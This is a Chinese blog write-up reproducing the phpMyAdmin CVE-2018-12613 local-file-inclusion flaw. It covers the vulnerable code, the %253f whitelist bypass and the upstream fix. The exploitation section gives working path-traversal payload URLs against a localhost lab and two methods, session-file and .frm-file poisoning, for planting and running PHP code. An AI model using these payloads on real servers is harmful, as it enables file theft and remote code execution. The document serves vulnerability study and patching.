phpmyadmin(CVE-2018-12613)漏洞利用


phpmyadmin(CVE-2018-12613)漏洞利用

1、漏洞描述

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  1. $ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  2. $ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

2、漏洞影响范围

​ phpMyAdmin 4.8.0和4.8.1

3、漏洞复现环境

  • 下载环境,这里我选择phpmyadmin4.8.1+phpStudy2016

phpmyadmin(CVE-2018-12613)漏洞利用_第1张图片

4、漏洞分析

  • 漏洞问题出在index.php的第53行开始位置:
  1. target参数没有过滤,并且直接include,很显然是LFI的前奏
  2. 第57行限制 target 参数不能以index开头
  3. 第58行限制 target 参数不能出现在 $target_blacklist 内

phpmyadmin(CVE-2018-12613)漏洞利用_第2张图片

  • $target_blacklist 的定义:

    在 /index.php 的第50行,只要 target 参数不是import.php 或 export.php 就行

phpmyadmin(CVE-2018-12613)漏洞利用_第3张图片

  • 最后一个限制方法

    Core::checkPageValidity($_REQUEST['target']) 找到Core类的checkPageValidity方法

phpmyadmin(CVE-2018-12613)漏洞利用_第4张图片

问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。

phpmyadmin(CVE-2018-12613)漏洞利用_第5张图片

5、漏洞利用

  • Payload:

​ http://localhost:8088/phpMyAdmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../phpStudy/使用说明.txt

  • 访问之后得到结果

    phpmyadmin(CVE-2018-12613)漏洞利用_第6张图片
  • 写入shell

    这里有两种方法:

    第一种:

  1. 写入shell,测试语句:

    phpmyadmin(CVE-2018-12613)漏洞利用_第7张图片
  2. 查看自己的sessionid(cookie中phpMyAdmin的值)。(或者Bp抓包获取本地的cookie值也可以)

    phpmyadmin(CVE-2018-12613)漏洞利用_第8张图片
  3. 访问:

    http://localhost:8088/phpMyAdmin4.8.1/index.php?target=db_sql.php%3f/../../../../../../../../phpStudy/tmp/tmp/sess_20f18hqcr2mc0nmq96vp920r6phc06v3

    phpmyadmin(CVE-2018-12613)漏洞利用_第9张图片

第二种:

  1. 在数据表里面添加一句话(这里一点要用get!)

    phpmyadmin(CVE-2018-12613)漏洞利用_第10张图片
  2. 此时会在phpStudy\MySQL\data\ 对应数据库下生成一个frm文件(不同版本路径可能不一样)

    phpmyadmin(CVE-2018-12613)漏洞利用_第11张图片
  3. 访问

    http://localhost:8088/phpMyAdmin4.8.1/index.php?9ouu=phpinfo();&target=db_sql.php%3f/../../../../../../phpStudy/MySQL/data/9ouu/test.frm

    phpmyadmin(CVE-2018-12613)漏洞利用_第12张图片

6、漏洞修复建议

​ 在漏洞发布不久,该漏洞已经被修复,漏洞存在于版本号小于4.8.2的所有历史版本中,通过git changelog查看官方如何修复漏洞的。查看补丁源码,可以参考URL:https://github.com/phpmyadmin/phpmyadmin/commit/d1360f46cef76c5182116eb2b8fdbab1b20e687a 发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数$include。当$include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了。

phpmyadmin(CVE-2018-12613)漏洞利用_第13张图片

你可能感兴趣的:(执行代码)